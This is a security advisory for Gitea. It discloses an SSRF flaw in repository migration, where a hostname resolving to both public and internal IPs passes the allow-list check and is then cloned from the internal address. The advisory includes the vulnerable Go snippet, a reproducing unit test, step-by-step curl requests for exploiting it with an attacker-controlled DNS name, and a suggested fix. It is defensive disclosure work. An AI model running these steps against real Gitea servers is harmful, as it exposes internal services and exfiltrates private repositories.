GHSA-h2x6-g7q6-344v
Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | code.gitea.io/gitea | < 1.27.0 | 1.27.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if **any** resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later `git clone` operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.
An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.
### Details
The issue is in `services/migrations/migrate.go`, in the migration allow/block-list check.
Current logic computes whether any resolved IP is allowed:
```go
var ipAllowed bool
var ipBlocked bool
for _, addr := range addrList {
ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
```
Then, when an allow-list is active, the host is accepted if the hostname matches or `ipAllowed` is true:
```go
if !allowList.IsEmpty() {
if !allowList.MatchHostName(hostName) && !ipAllowed {
return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
}
}
```
This means a hostname resolving to both:
- an allowed public IP, e.g. `1.2.3.4`
- a blocked internal IP, e.g. `127.0.0.1`
passes validation because the public IP sets `ipAllowed = true`.
The actual repository import is later performed by `git clone --mirror` via `MigrateRepositoryGitData` / `gitrepo.CloneExternalRepo`. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.
The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.
### PoC
I verified the vulnerable predicate locally against Gitea checkout:
```text
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```
using Dockerized Go tests with `golang:1.26.4`.
The local test proves:
- `checkByAllowBlockList("loopback.example.test", [127.0.0.1])` is rejected.
- `checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1])` is accepted.
Minimal reproducer at the validation layer:
```go
func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
old := setting.Migrations
t.Cleanup(func() { setting.Migrations = old })
setting.Migrations.AllowedDomains = ""
setting.Migrations.BlockedDomains = ""
setting.Migrations.AllowLocalNetworks = false
require.NoError(t, Init())
err := checkByAllowBlockList("mixed.example.test", []net.IP{
net.ParseIP("1.2.3.4"),
net.ParseIP("127.0.0.1"),
})
require.NoError(t, err, "mixed public+loopback answers should currently pass")
err = checkByAllowBlockList("loopback.example.test", []net.IP{
net.ParseIP("127.0.0.1"),
})
require.Error(t, err, "loopback-only answer should be rejected")
}
```
To reproduce end-to-end:
1. Run Gitea with repository migration enabled and `ALLOW_LOCALNETWORKS = false`.
2. Create a normal non-admin user that can create repositories.
3. Run an internal Git HTTP service reachable only from the Gitea server, for example on `127.0.0.1:18082`.
4. Configure an attacker-controlled hostname so that DNS can return both a public address and `127.0.0.1`, or can return a public address during Gitea's pre-flight validation and `127.0.0.1` during the later git clone.
5. Confirm the direct internal migration is rejected:
```bash
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/repo.git",
"repo_name": "direct-internal",
"service": "git",
"private": true
}'
```
Expected direct result:
```json
{"message":"You can not import from disallowed hosts."}
```
6. Start a migration from the attacker-controlled multi-answer hostname:
```bash
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://mixed.example.test:18082/repo.git",
"repo_name": "multidns-ssrf",
"service": "git",
"private": true
}'
```
Expected vulnerable result:
- The migration request is accepted.
- The git subprocess can connect to the internal address.
- Internal repository contents are imported into the attacker's new Gitea repository.
### Impact
This is a server-side request forgery in repository migration.
An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.
Potentially impacted resources include:
- internal Git repositories
- localhost-only services
- private network source-control services
- metadata or internal infrastructure endpoints if reachable and compatible with the request path
The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.
### Suggested fix
The migration allow/block-list check should fail closed for multi-answer DNS:
- reject if **any** resolved IP is blocked
- require **all** resolved IPs to be allowed when an allow-list is active
- treat an empty resolution result as not IP-allowed
- ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and `git clone`
For example, instead of `ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)`, initialize `ipAllowed` to `len(addrList) > 0` and combine with logical AND:
```go
ipAllowed := len(addrList) > 0
ipBlocked := false
for _, addr := range addrList {
ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
```
References
External links from the advisory. They lead to third-party sites.